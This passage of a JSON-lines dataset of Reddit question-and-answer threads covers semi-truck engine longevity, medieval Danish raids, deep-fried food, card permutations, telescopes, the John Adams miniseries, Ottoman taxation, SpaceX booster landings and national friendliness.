point, a vehicle will cost more to maintain than it costs to replace it. Cars generally cost a lot less to buy new. At around 200,000 miles, a car would generally need a new catalytic converter, would probably be wearing out the third set of tires, would need some belts, hoses, and typically have a few other repairs here and there that add up quickly. These aren't all cheap repairs, and when combined likely exceed the value of the car. Furthermore, a car with 200,000 miles on the clock would likely be much older than a semi with 400,000 miles on the clock since the average semi spends much more time on the road. Finding good replacement parts for a 10-15 year old car with 200,000 miles on the clock may be a bit trickier as dealers are less likely to stock the parts. I've seen advertisements for semis that have put on 400k+ miles in as little as two to three years.\n\nCompared with an average new car, which you can buy for $30,000, a new semi truck is probably going to set you back $130,000 with some models breaking $200,000. So it's probably more economical to keep the trucks going for a while longer.", "In India, Diesel cars have been accepted by the general public as viable only in the past decade. It started with Fiat multijet 1.3l engines running in Suzuki's Swift that sold too well. Then came the Renault dxl 1.5l engines which are used by Renault/ Nissan and Mahindra cars. There are others like Ford and VAG who use their own engines.\n\nAny idea if Fiat multijet engines are really so good? There are 8 year old cars that are sold for the cost price because of these engines in Bangalore!", "Pretty much every dealership I know has a parts car or parts truck with 300k+ on it, we had a 500k tundra parts truck, and it lasted for the same reason: good drivers, lots of highway miles, properly maintained.", "Engineered obsolescence with consumer automobiles plays a huge factor as well", "I've gone retarded thanks to people in this thread", "PMCS. Preeeeaacchh!!!\n\nThat 5988-E better be filled out correctly also. Command maintenance is not a game", "While diesel engines tend to last longer than petrol engines for a number of reasons, the real reason a semi truck can go for a million miles is that they tend to drive non-stop for long periods of time.\n\nDriving non-stop for long periods of time puts little wear on the engine relative to the normal driving of a sedan or hatchback. A normal sedan or hatchback would be able to go a million miles if they drove the way a semi truck is typically driven.\n\nBy the way, the top comment has a lot of misinformation. American diesel engines are not derived from petrol engines. I have no idea where he came up with that. Diesel engines do not use spark plugs.", "gearhead and ex truck driver here...there is no magic to million mile diesels. They get regular oil changes (around 8 gallons), but I did notice one thing. I am of the opinion that most of the wear on modern engines is from the cold start-up and driving before the engine is warm. I live 8 miles from my work, so I will have two cold start-ups each day for every 16 miles my car logs...\n\nA cross-country diesel may not even turn the engine off when they are fueling or the driver is sleeping (idling the engine overnight to keep the \"condo\" warm for 8 hours costs less than the price of a motel room). A two man driving team might start a big rig...let it warm up for ten minutes while they check around the truck and do paperwork (how long do you warm up your car each start??), then...they might drive 1,000 miles over three days (or more miles) before they turn the engine off. \n\nAnother thing, I have seen well cared-for cars that had an engine that was running well at 250K miles, but the automatic trans ($2000 rebuild?) was worn out...the 18-wheeler uses a manual trans.\n\nJust some thoughts...", "_URL_0_\n\nyou are welcome.", "I don't know, but my 20-year-old GMC Suburban has almost 250k miles on the original engine. I think it's because newer passenger cars have so many computerized parts that it is near impossible to do one's own maintenance. I've changed the oil, spark plugs, filter, belts, etc., on my Suburban, and I'm a girl. I don't think I ever spent more than $100 on outside service on this car. And it's still on the road and doing great except for the 15 MPG I get. But, it takes regular! And I feel like a total boss driving it. ", "Because they are massively overbuilt. The engines in these things are not consumer grade economy/comfort oriented puttboxes they are industrial grade built to haul and last and not running anywhere near their maximum potential power output.  \nThey are also generally taken care of much better than your average person takes care of their vehicle (usually almost not at all). ", "Lower operating RPM, typically driven at a constant RPM, less engine start ups and shut downs, built with better materials, better fuel type,  lower operating temperature, more preventative maintenance, vehicles involved in less accidents. ", "I Work at Swift (largest trucking company in North America): Our trucks are in the shop on average once every 12 days for either regular maintenance, repairs, or both.\n\nWe also govern most of our trucks to 61-62 mph.", "TIL people don't preform even the basic maintenance  on their vehicles.\n\nThe main reason is lubrication. Your car starts unlubed which wears components because all your oil is sitting at the bottom of the sump. Diesel is oily gas is not.  Side note: A 2 cycle gas engine, which has oil in its fuel, can last as long as a diesel. \n\nSecond: engines that work, for reputable companies that is, are better maintained and most work engines are diesel. \n\nThird: Engines like constant speed. A transport truck stops far less often than a communter car\n\nFourth: people don't do basic maintenance it seems. The only cars that I've had that have gone under 200,000 miles were totalled in accidents which isn't an engine or fuel issue but a luck and crappy driver everywhere issue.  My current car, barring an accident of course, will last at least as long as the battery pack is guaranteed  so a minimum of 8 years. I love my Tesla :D despite its crappy paint. ", "One other reason why Semi trucks and Diesel engines go longer is the longer stroke and more torque per stroke.  My F250 7.3L diesel can go up a steep NM mountain pass at 60mph and stay well under 2k rpms.  If each stroke ages the engine, then the engine that uses the fewest strokes to go the distance should age the least.", "In my experience commercial Diesel engines do not usually get to 1million miles without a rebuild. I would say most last to 600-700k before needing an overhaul. Every once in a while you might find a million mile truck but at that point the chassis is probably in rough shape and near end of life.\n\nSource: former Detroit Diesel technician.", "In addition to what's been said trucks drive on highways for the majority of their life which not only has cleaner air then a city, but also less stop and go which causes wear on the vehicle.", "your car could technically run forever assuming you always wanted to repair it, assuming you can obtain parts.\n\nmost people seem to consider cars disposable. people will buy a new car rather than put 2k worth of repairs because they are worried about value or if it is \"worth it\". well, its more like your car is going to be a money sink for the entire time you own it so how nice do you want it to look. it would take some major damage to make buying a new car a cheaper option. most people don't want a car that looks like a mad max reject though so i can understand why you might want a newer one if it looks like complete shit, still buying a recent used car is better.\n\ntrucks get repairs and complete overhauls, thats why they run forever. plus diesel. diesel cars will run a long ass time too.", "In a nut shell there built to run hard and never stop and there built to be fixed, yes trucks are built beefier then cars and are also built to be more serviceable a lot of trucks have 2 oil fuel filters and air filters, some have spin on filters on the differentials and transmissions and power steering as well, they also don't turn off very often and most of the real wear and tear comes in the first few moments you start your engine and there's no oil being pumped around to the moving parts (especially when its cold)\n_URL_0_", "Mercedes's have no struggle reaching a million miles :D", "I feel I have to add in here: diesel engines are known for lasting much longer than gasoline powered engines.  I know a guy who buys jettas and golfs with diesel engines when they have 750,000 kms on them for cheap.  Then he puts another 750,000 to a million on them.  Diesel engines perform this way because of the amount of torque generated.  Because the amount of torque is higher in diesel engines, the bearings, piston rings, cylinder walls and so on, are all made to resist more force, and are reinforced.  In commercial trucks, diesel engines are used with much greater amounts of torque than horsepower.  This means that any parts that can't be made reinforced because of the scale of the truck are made to be replaced more easily.  Also, if you pay $500,000 for a car, and a $8000 repair comes up for the engine, odds are you're going to repair the engine rather than get a new vehicle.  Commercial trucks retain their value well because they are money makers, so the owners, brokers and drivers will pay much larger amounts to have their trucks fixed rather than scrapping them.", "Diesel engines usually outlast gasoline engines. I have two trucks, a 2001 Dodge Ram with a 5.9L Cummins Diesel engine and a 2000 Ford Excursion (Essentially an F250 with seats instead of a bed.) with a 6.8L Gasoline engine. Both are 3/4 Ton light trucks, so in all respects, they're set up to do the same job.\n\nThe Diesel redlines at 3500 RPM, the Gasoline engine close to 6000 RPM. The engines are geared to work at their peak efficiency and/or peak power. The Diesel works best at around 2200 RPM, whereas the gasoline engine works best around 4000 RPM. The Diesel engine will never even see 4000 RPM.\n\n------------------------------------------------------------------\n\nThermal cycling helps a lot. The average car owner drives somewhere, parks, drives back home, parks.\nMost of the wear in an engine comes from cold starts. Oil is thicker when cold and some may have drained into the bottom of the engine while the engine has been stopped for a while. On initial startup, parts of the engine may not have lubrication for a few seconds. Cold engine has also had time to have water vapor condense in it. Water is not a good lubricant. Meanwhile a trucker gets in the truck and drives non-stop. The engines stay warmer longer. Even if the truck is sitting at a truck stop with the driver resting, they often idle.\n\n------------------------------------------------------------------\n\nMaintenance is also key. Most people treat their cars like an appliance. How many times do you think about maintaining your fridge? You know you have to vacuum the dust and stuff off the coils under it or on the back of it... Same thing with cars. The average person doesn't change their oil or have their transmission serviced on a regular basis.\n\nTruck owners (usually corporations) maintain their vehicles frequently. There's a sticker in my work truck that states, \"This vehicle helps pay your salary. Treat it as such.\" It behooves a truck owner (or any vehicle owner) to maintain their vehicle properly. A running truck is out there dropping off deliveries and making money. A broken truck is sitting on the side of the road and wasting money.\n\nIf a car were maintained properly, there's no reason that it shouldn't last longer than 200,000 miles.\n\n------------------------------------------------------------------\n\nFinally, a commercial truck costs a LOT of money. Cars are significantly cheaper. If the engine does wear out in a car, it's likely going to cost more than the car is worth to repair/replace it. In a commercial truck, an engine rebuild is common as it's cheaper than a whole new truck.", "one of the reason for this might be that diesel engines in general operate at much lower RPM. you will rarely see a semi truck engine go above 1500 - 2000 RPM", "Buy a truck, they are designed and tested to blast over logs and hit curbs without damage. Rust belt truckd must maintain underbody coatings. I hear you want to change the transmission fluid with used fluid. Change oil and fluids often with new fluids.", "look at it this way. much easier than all these technical answers from engineers and such. put your hands together. now rub your hands together slowly. then do it 3 times as fast. theres your answer", "Came here to say maintanance and its already been said.  Good work people!\n\nThe average Joe doesn't take nearly as much care of their car than the average trucker.  Put a car through a truck's maintenance schedule and the results will be close.", "I have heard that a big reason that certain vehicles last longer has to do more with their consumer prefference.\n\nMost people who buy new cars only want to own them for about 3 to 5 years.  Once the paint has faded and body has collected its 20th little scrape or ding from wear  &  tear, they want to trade it in for something new and flashy.  In that time the typical person will only drive only about 100,000 miles.  The manufacturers could design them to last much longer, but that would add to the expense of the car.  And in a market where just $2000 can chase your consumer to a competitor, you are not going to add a longevity to car that will not be owned that long.\n\nMeanwhile semi-trucks are approached as investments and will be driven a lot more in the same amount of time than a car.  While all people like new  &  shiny over dinged and worn, an investor knows that new  &  shiny does not pay the bills.  He would rather own something that has a long lifespan than stroke his ego.\n", "Also remember that trucks drive for vast distances at a constant speed, usually the prime speed that the engine and mechanics are designed to run at. This extracts the maximum life out of most of the parts. In contrast your average domestic car is tortured with stops and starts, slow then fast running, more turning and in general more randomness and less consistency. This pretty much gets you minimum life expectancy out of most mechanical parts.", "Why would you think that? It's all about the engine, it doesnt' matter what type of car you have. Besically good diesel = no problem for 300k, 400k, 500k and more. All depends how you treat it and what kind of diesel is it. Diesel engines with higher torque ( > 130-140HP engines) do exploit faster because they work under higher forces. Lots of Nm requires different (and more complex) clutch which is dual mass flywheel. And it's not exactly engine block but you have to get it replaced since you can't fix it any other way. Another thing is supercharger which is way more complicated for stronger engines. So it makes them weaker. Why do I tell all that? BEcause conclusion is simple, trucks aren't cars that require lots of HP, they don't need to speed up to 100km/h under 7-8 sec. They do have to drag things and they have different transmission for that. So it's possible to use simple supercharger which exploited well, can work for 400k easily. So they also don't need too much HP and that means torque is much lower. So we don't need flywheel to e.g. suppress vibration. They can use regular one mass flywheel and it lasts really long time if you can exploit it well. I'm talking about manual transmission and only, where I live it's manual transmission 90%. And it's not because we can't buy them, we just don't want to. So it looks like it's about type of car after all? Naaah, it doesn't. There are lots of hatchbacks or sedans with low HP and simplier construction e.g. VW 1.9TDI (e.g. AGR, ALH) 90HP/110HP. I had one of those. I sold it @~260kkm with NOTHING AT ALL to repair in engine, flywheel, supercharger and I also didn't repair any of these. Stronger and newer engines are just way more complicated and they have to deal with heavier torques, loads etc. It doesn't mean they won't last long. GOOD diesel will last long, anyways. There are also gasoline engines which they don't put into trucks for obvious reasons: fuel intake, survivability. And they aren't supposed to be used at loooong trips everyday (companies' trucks e.g. DHL, things like this). Besically diesel is an engine that works best when you drive 100km/h all the time on a highway. It's supposed to be used this way. Now it's all developed and new tech bla bla bla and people want small cars that last long and fuel intake is lower so they started building small diesels. Of course there are gasoline engines that last long and there are also bad diesels (construction is besically bad). Another factor is the driver. Seriously it does matter so much. Every idiot can drive a car but lots of people have no idea how to properly use a car. Diesels are worse here, they 'feel' bad driver more and breaks down faster. This is good question, man. Lots of words to write and lots of people here already answered but they thought about different aspects, also true ones.", "Same reasons airplanes from the 60's and 70's are still in commercial use. ", "The simplest answer to this is simply the engineering design requirements for semis (tractors) are different than a car. It's similar to why a commercial washer/dryer outlasts a consumer/residential one. All the points about it being rebuildable, the preventive maintenance, ect certainly contribute to it lasting. Ultimately though, semis are designed to have heavier duty parts that last longer. Over the road trucks average 100,000 miles a year. No matter how much maintenance you do to a car, it'll only last a couple years whereas the semis last much longer. \n\nSource: I'm an engineer that worked for a major US  semi truck/engine manufacturer. ", "In addition to the other answers, don't forget that you can *always* repair an engine. What generally happens with consumer autos is that the repair cost hits a pain point were, coupled with the ongoing marketing-induced desire for a new car, the owner is willing to just replace the car. \n\nI ditched my last car at 160,000 miles because an air conditioner repair (which included R14 conversion) would have been $2,500 and I was simply ready for a new car. But I could have spent the $2,500 and kept driving it. \n\n*and* - in a passenger car, the engine is generally the biggest expense. In a semi truck cab, it's not as big a percentage, so even engine overhauls will be far less expensive than a new cab. ", "Diesel mechanic here. Another contributing factor is the ability to perform what we call an \"in frame\" which means to rebuild the engine without removing it. Large diesel engines have \"wet sleeves\" which means that you can change the piston and the complete cylinder quickly and relatively cheaply. Basically making the engine return to almost new condition and able to get back on the road quickly. ", "Planned obsolescence and market demands.\n\nThere's no engineering barrier to building all cars to last 1mm miles.  Semi trucks and cars are built for an optimal useful life for the entire set of parts, as well as what's become acceptable crossover points in their respective markets.  Assume I did 250k miles in my 1996 car in 10 years...at that pace, I would be able to drive my car for 40 years!  But would I want to? By then, there should be so many improvements to performance, safety, and comfort (like bluetooth!) that I'd want in a car.  Therefore, there's no need to build a 40 year car...only a 10-15 year car (and even that well exceeds typical replacement time horizons for folks in the US).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=NJAsNF6e8As"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/A9e25Zd.png", "http://i.imgur.com/YpWTEq0.png"], [], [], [], [], ["http://gearheads.org/12-vehicles-you-cant-own-in-the-u-s-land-of-the-free/#.VOaBOMu9KSM"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Planned_obsolescence"], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=OWiQyR7PWII"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3sqg5g", "title": "Did something happen between Denmark and the Netherlands in 1034?", "selftext": "I'm trying to Google but I can't find anything. I think it was to some town in the Netherlands.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3sqg5g/did_something_happen_between_denmark_and_the/", "answers": {"a_id": ["cwzk427"], "score": [3], "text": ["Do you perhaps mean 834? That's when Danish raids into Frisia (early medieval Low Countries area) ramped up in earnest. That was the first big attack on the trading center at Dorestad in particular."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d19tz", "title": "why are deep fried foods so appealing? from savory foods to sweet foods.. ice cream, pickles, fries, egg rolls, doughnuts...", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d19tz/elif_why_are_deep_fried_foods_so_appealing_from/", "answers": {"a_id": ["cjl2ru4", "cjl456c", "cjl4a9i"], "score": [14, 4, 3], "text": ["Sugar, salt, and fat. Your body loves 'em. LOVES 'EM! In our hunter-gatherer days these wonderful god-foods full of calories and carbohydrates were rare, all we ate was lean meat and vegetation. Which is a good diet nowadays, when food is plentiful and being obese is a bigger concern for most people than starving is. But back in those days, famine was around every corner (so to speak), and you literally never knew where your next meal was coming from. So a nice big helping of fat, sugar, and salt would help build up some fat, which is good when food is scarce, you'll live longer without a meal. ", "Basically, what we can easily buy in a shop today was hard to come by for 99.999% of our existence so we crave it more.", "They trigger a neurotransmitter response such as dopamine that makes you feel good so you enjoy eating them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2udsdo", "title": "How come when you choke someone a blood vessel in their eye pops?", "selftext": "Or is that even what happens? I see it depicted on TV and have heard news stories of it happen. I can't imagine the blood pressure rising if no more can get in", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2udsdo/how_come_when_you_choke_someone_a_blood_vessel_in/", "answers": {"a_id": ["co7orl6", "co86nag"], "score": [4, 3], "text": ["Yes, it is called [petechial hemorrhaging](_URL_0_). It's important in a forensic context because it is a sign of elevated blood pressure in the head, which can result from strangulation.", "The carotid artery is less superficial than the jugular, and the arterial system has more pressure behind it than the venous system. So the heart can still pump some blood upto the head (depending on how strong the strangulation is I guess) however the jugular is occluded, preventing drainage from the head. This increases pressure on the blood vessels, so the capillaries haemorrhage, which is particularly noticeable in the eyes.\n\ntl;dr too much blood going into the head, not enough coming out"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Petechia"], []]}
{"q_id": "13c1u1", "title": "Slightly complicated permutation?", "selftext": "Hi, someones comment on a thread claiming that the number of possible combinations of a deck of cards would be doubled if the back of the cards could be used - which I'm pretty sure is wrong, so I guess that is essentially my question.\n\nHow does one go about calculating a permutation such as this? I would imagine it to be one of 53 possibilities is possible at the start but I'm not sure. It confuses me because there is the option of 52 cards, and the 52 backs of cards. However, when viewed each of these 'back of cards' look identical, so if there is one card at the start, then 50 'back of cards,' followed by another upturned card there are 52*51 combinations. \n\nBut the main problem arises when considering that for each back of card placed we must use up a card number. I really have no idea how to tackle this question.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13c1u1/slightly_complicated_permutation/", "answers": {"a_id": ["c72m50b", "c72p3ob"], "score": [2, 4], "text": ["If all the cards have to be face down, there are 52! possible sequences (52 x 51 x 50 x ... x 1). Now if cards can be face up or face down, I have 2 ways to pick the orientation of the first card, 2 ways to pick the orientation of the second card, etc. This means 2^(52) sequences possible of face up and face down for each sequence of the cards.\n\nThus, the total number of possible arrangements is 2^(52)(52!).", "The problem isn't quite fully specified, so I'll answer the two questions that I think it could be.\n\n > How many ways can you order a deck with some number of cards are face down, considering the ordering of the facedown cards?\n\nIn this, a six of hearts face down is filling a position in the sequence, so they could be denoted by a 52 long sequence of the cards paired with a 52 long sequence of face up/face down binary decisions.\n\nAs u/fishify says somewhere else in this thread, there's 52! ways to order the deck, and then a binary choice for each card based on whether it is face up or face down. That gives 2^52 \\*52! = 3.63 \\* 10^83 possible orderings.\n\n > How many ways can you order a deck with some number of cards are face down, with the face down cards indistinguishable?\n\nIn this, all face down cards are only noted as blanks, so they could be denoted by a sequence of 52 cards where some of the cards are replaced by blanks.\n\nThis is a harder problem, so consider the case where n cards are face down. There's 52! ways to order the deck, 52Cn ways to pick the n cards to be face down. But now for the sequence with n particular cards all down in some particular spots, we've counted it n! times, so we need to divide by that. So that's 52!/n! \\* 52Cn = (52-n)! (52Cn)^2 = [; (\\^{52} C\\_n) (\\^{52} P\\_{52-n}) ;] ways with n cards down. This shows we could have thought of this as permuting the 52-n cards and then choosing the n places where blanks go.\n\nThen we'd sum that over all the possible n's, for  [; \\Sigma_{n=0}\\^{52} (52-n)! (\\^{52} C\\_n)\\^2 ;] = 1.03 \\* 10^73 total ways for an unknown number of indistinguishable cards facedown.\n\n---\n\nBoth of these are way more than twice 52! =8 \\* 10^67."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4lq1y1", "title": "why does the president sometime use multiple pens when signing a bill?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lq1y1/eli5_why_does_the_president_sometime_use_multiple/", "answers": {"a_id": ["d3p8d8a", "d3pbqxd"], "score": [41, 5], "text": ["Everyone involved in the bill, or at least the sponsors of it all want \"The pen\" used to sign the bill. You can't give everyone the same pen, so he uses several. ", "For important bills, the pens become commemorative items, something that might wind up in a museum.\n\nMore pens mean more commemorative items."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2oa5p8", "title": "Do space telescopes still use lenses and mirrors to focus non-visible electromagnetic waves?", "selftext": "Basically, do lenses still work for radio waves?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2oa5p8/do_space_telescopes_still_use_lenses_and_mirrors/", "answers": {"a_id": ["cml7i3t", "cmlbxbr"], "score": [5, 3], "text": ["Radio telescopes are basically just like TV satellite dishes but need to be large, of order 10s to 100s of meters in diameter, so we don't really build them in space. X-ray telescopes, such as [Chandra](_URL_1_) do have mirrors but Gamma Ray telescopes, such as [Fermi](_URL_0_) typically won't.\n\nIR and UV both use lenses as well, both on the ground and in space (e.g. Hubble).", "Yes, but you need to think of them differently than you would a traditional visible wavelength lens.\n\nThink of a satellite dish as something that functions in the exact same way as a parabolic mirror telescope [like this](_URL_0_)\n\nOnly, instead of it being reflective to visible radiation (350nm to 750nm), the \"mirror\" is reflective to other types of radiation, such as radio waves.\n\nNot many telescopes use lenses any more, just because they need to be so big in order to get enough radiation through that they would be hard to make and biblically massive and difficult to move/keep steady. Which is why almost all large telescopes are reflection scopes.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www-glast.stanford.edu/instrument.html", "http://chandra.harvard.edu/about/telescope_system.html"], ["http://www.mathedpage.org/parabolas/geometry/reflector.jpg"]]}
{"q_id": "j2r3t", "title": "can anyone explain the economics of fascism to me like i'm five?", "selftext": "I have familiarized myself with the more philosophical tenets of fascism (ultra-nationalism, unity, ect.) but the one thing about it that has always escaped me was how an economic system worked in a fascist state. I know it is a form of corporatism but have found any further explanation to be complicated and confusing.\n\nEDIT: I feel like i should point out that when I say Fascism I mean the political system of Hitlers Germany and Mussolini's Italy as well as the Spanish Falange", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j2r3t/can_anyone_explain_the_economics_of_fascism_to_me/", "answers": {"a_id": ["c28nnp0", "c28nnyu"], "score": [2, 4], "text": ["Basically the same as any Capitalist state except that the State has significantly more control due to the restriction of the democratic process that usually allows a capitalist model to function.\n\nIt's not centralised like Communism but if they tell you that instead of making tractors you're now making tanks, well you're making tanks from now on.", "You have two cows. The government takes both, hires you to take care of them, and sells you the milk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "f23fvp", "title": "How accurate is the TV show \"John Adams\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f23fvp/how_accurate_is_the_tv_show_john_adams/", "answers": {"a_id": ["fhb9zl1"], "score": [12], "text": ["In sum: it got the broad strokes right, but weirdly got a bunch of small stuff wrong. \n\nIf you want to get into the nitty gritty, the HBO mini series was based off David McCullough's 2001 biography 'John Adams.' McCullough's work came at a time when these so-called \"great white man histories\" were all the rage, and was a little derided by the academic community as a result. To its credit, however, the book was well-reviewed in terms of its history, and though it did receive some flack for the liberties it took positioning John Adams and his family at the center the political universe in the mid/late-18th century, historians spoke kindly of it by and large. \n\nWhere things get sticky is in the HBO mini series' adaptation, which took the one thing that historians DIDN'T like about the book and used that as its guiding principle. Time and again in the TV show, the Adams family is positioned as an active participant and agent for change in the primary events of the American Revolution and early formation of the U.S. government. Yet the producers weren't satisfied with just that: they also miss-characterized relationships (John and Sam Adams' relationship is all sorts of wrong), altered timelines, and straight-up whiffed on the presentation of events by getting dates wrong. \n\nThis wasn't just a matter of time compression for the sake of narrative (which is totally understandable), this was a matter of just flat-out getting dates and events wrong that could have easily been checked against a textbook or encyclopedia. Just a few examples: \n\nNabby Adams didn't get diagnosed with breast cancer until 1810, yet on-screen text provides the date as 1803. That's just weird. The TV show presents Adams and the Massachusetts delegation fighting to keep the Continental Congress together following Lexington and Concord. The show presents Adams' efforts as vital until Bunker Hill, at which point everyone else finally came around. Yet in real life, the Congress had voted to form an army and name Washington general on June 14th and 15th, which was a few days BEFORE Bunker Hill. Yes, Adams in real life was instrumental in lobbying for that army, yet it was hardly him against the world until Bunker Hill (the show presents him as the only thing keeping the country from coming apart prior to Bunker Hill, and this just wasn't the case). The TV show depicts Boston being evacuated in June when this actually took place in March, which doesn't seem like that big of a deal, yet the show presents this evacuation as the thing that pushes Virginia over the edge to vote for independence, when in fact Virginia had authorized its delegates to vote that way in May. So by the time the show depicts Boston's evacuation, in real life, Virginia had made its decision a month before. My favorite of these time foul-ups is when Abigail throws shade at Benjamin Franklin in France for consorting with an older woman, remarking that its an, \"inconvenience to Mrs. Franklin.\" Mrs. Franklin had been dead a solid 10 years by this point. Again: that's just a weird thing to miss. \n\nSome of this might seem like nit-picky stuff, but it happens all throughout the series for no particular reason. Why not just get the dates right and fashion the drama around that? The narratives they are going for don't necessarily need John and his family at the center of things to create a compelling story, and the facts are all MOSTLY right yet weirdly swerve at the last minute with stuff like this. \n\nOther stuff is just outright fabricated. The battle at sea depicted when John and his son travel to Europe never happened (his ship was pursued, but there was no engagement, etc.). When John is in Paris, his unrefined behavior is considerably exaggerated (his French was poor at first, but like the studious nerd the real-life Adams was, he studied hard and improved quickly). There's a whole section of John's life between France and Holland where he returns to Massachusetts that the show skips, and he even scooped up his son Charles and returned to Europe with the boy (which apparently the show needed to ignore so that Charles had a reason to turn into a drunk as an adult...because alcoholism needs a reason, I guess??). \n\nThere's more, but you probably get the point by now. A lot of things ARE handled well, though. Adams' isolation from Washington and Jefferson post Revolution is pretty much spot-on, and the set design, make-up, costume work, and production values are all first rate. The acting is phenomenal across the board (not just with the leads, but the supporting characters all really inhabited their historical counterparts). And that's what makes the whole thing so frustrating. HBO had all the pieces in place to make a considerate, thoughtful historical adaptation and for some reason, the writers didn't bother to connect their narrative with the historical record in a lot of cases. And it wouldn't have been that hard to do so! They came close in a lot of cases, but like I mentioned, often \"swerved\" at the last minute for some reason. \n\nTo read more on the real John Adams, McCullough's book is a great place to start, because as I said earlier, the book upon which the series was based is indeed well-regarded as a decent historical investigation. Historian Jeremy Stern also wrote a great piece about the series as it premiered which you can find online, and he actually went through the series nearly episode-by-episode at the time. A number of my points are recollections from his pieces at the time, which are indeed supported by McCullough's work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8bxwb5", "title": "How were taxes collected in the Ottoman Empire?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8bxwb5/how_were_taxes_collected_in_the_ottoman_empire/", "answers": {"a_id": ["dxo6vsh"], "score": [3], "text": ["This answer mainly concerns the 15th\\-16th century. Sorry if it doesn't fully answer your question\n\nThe revenue of the Ottoman Empire consisted of a multitude of separate taxes, dues, fees, and levies on production, trade, and the activities of daily life e.g tithes on agricultural and pastoral production, customs dues, sales and market taxes, fines, and bride taxes. These taxes varied from place to place and sometimes from group to group within the empire, as some were prescribed by Islamic law while others were customary practices given the force of law by sultanic edict. In the urban centres, taxes were collected from each mahalles or city quarters from the keth\u00fcda, who acted as the representative of the government or the elders of each mahalle.\n\nGenerally, Ottoman taxes can be divided into two groups: revenues alienated from the central treasury and collected directly by their final recipients, and those entering the central government's coffers before being spent. Alienated revenues are revenues allocated to members of the military and governing class through the timar system, revenues held by provincial governors to pay local expenses, and revenues tied up in pious foundations \\(vak\u0131f\\). They were usually collected by the timar holder under the timar system. While   havass\\-\u0131 h\u00fcmayun or the \"crown\" revenues, comprised of unallocated land revenues and most of the income from urban and commercial taxes and monopolies, and were either farmed or collected by government employees. There were also the cizye, the traditional Islamic poll tax on non\\-Muslims, usually paid as a flat fee per household "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "znqxp", "title": "How did cultures with no knowledge of Caucasians treat people with albinism?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/znqxp/how_did_cultures_with_no_knowledge_of_caucasians/", "answers": {"a_id": ["c6677pt"], "score": [2], "text": ["To this day, especially in eastern Africa(Tanzania etc.), people with albinism are targets of persecution because their body parts are believed to have magic powers which witch doctors use to make potions and other concoctions. They have also been killed because people consider them cursed and bring bad luck. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2v8yl3", "title": "why is spacex attempting to land a rocket on a drone ship?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2v8yl3/eli5_why_is_spacex_attempting_to_land_a_rocket_on/", "answers": {"a_id": ["cofht6w", "cofhvkv", "cofixwb", "coflkxe"], "score": [5, 29, 3, 2], "text": ["They are trying to improve their technology, so that they can reuse their booster rockets more easily and more inexpensively.", "They're trying to develop a rocket that can land vertically and be used again. Due to laws regarding airspace and (mainly) safety regulations, they can't try this over land, so they built a barge out in the water where they can legally develop the technology.", "Landing the first stage so it can be reused saves them from having to build a new one. The first stage costs terms of millions of dollars. Being able to use it a second time is a big savings. ", "There are nine engines in a Falcon 9 first stage. If they can recover the stage those very expensive engines can be refurbished and reused. \n\nedit: for facts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3jgy0b", "title": "why are people in some countries much friendlier than people in other countries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jgy0b/eli5_why_are_people_in_some_countries_much/", "answers": {"a_id": ["cup3sfe", "cup412v", "cupazvx"], "score": [35, 2, 2], "text": ["I don't think there's a simple explanation. It's a case of various factors such as:  \n* Is there a recent history of conflict with other countries?  This affects how locals treat foreign visitors.   \n* Is there internal conflict - civil war, ethnic conflict, etc.    \n* Do people feel secure?  \n* Is the climate conducive to socialising outdoors? If so there'll probably be more socialising in general.  \n* What religions and philosophies do people follow, and how strictly?    \n\nAlso, national characteristics become ingrained over generations by children copying their parents.", "It depends on a lot of things. \nThings like the:\ngovernment structure. Is the govenment mostly stable or is there something radical going on in the country in the last several decades. \n\nEmployment: Are people mostly employed or are they struggling to find job even though they have qualifications like in most countries in Indian subcontinent. \nAlso where do they rank on valueing every and all employment equally?\n\nSocial aspects: issues like - How important is the family to the people? It varies surprisingly across the globe and that might effect how people interact with the strangers and even peers.\n\nThings like the general weather of the country, it's historical involvement in wars, their language and phonetics.\n\nThat's just from the top of my head. I could add more if I were to think more about what \"friendlier \" is to mean.", "A big part 